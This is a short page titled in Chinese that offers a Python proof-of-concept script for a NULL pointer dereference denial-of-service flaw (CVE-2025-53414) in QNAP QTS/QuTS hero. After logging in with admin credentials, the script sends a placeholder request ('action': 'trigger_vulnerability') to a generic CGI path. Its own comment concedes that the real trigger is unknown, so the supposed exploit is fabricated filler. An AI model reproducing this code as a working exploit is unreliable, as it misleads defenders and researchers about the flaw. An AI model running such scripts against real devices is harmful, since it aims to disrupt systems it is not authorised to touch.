QNAP QTS/QuTS hero NULL指针解引用拒绝服务漏洞 (CVE-2025-53414)

# CVE-2025-53414 PoC - NULL Pointer Dereference DoS # Target: QNAP QTS/QuTS hero # Requirement: Valid administrator credentials import requests import sys def exploit_cve_2025_53414(target_ip, username, password): """ This PoC demonstrates the NULL pointer dereference vulnerability. Note: This is for educational purposes only. """ # Login to QNAP device login_url = f"https://{target_ip}:443/cgi-bin/authLogin.cgi" login_data = { "username": username, "password": password } try: # Attempt to authenticate session = requests.Session() response = session.post(login_url, data=login_data, verify=False, timeout=10) if response.status_code == 200: # After authentication, trigger the vulnerable code path # The specific trigger depends on the vulnerable component target_url = f"https://{target_ip}:443/cgi-bin/" # Send crafted request to trigger NULL pointer dereference exploit_data = { "action": "trigger_vulnerability", "cve_id": "CVE-2025-53414" } exploit_response = session.post(target_url, data=exploit_data, verify=False, timeout=10) print(f"[+] Request sent to {target_url}") print(f"[+] Response status: {exploit_response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_ip> <username> <password>") sys.exit(1) target_ip = sys.argv[1] username = sys.argv[2] password = sys.argv[3] exploit_cve_2025_53414(target_ip, username, password)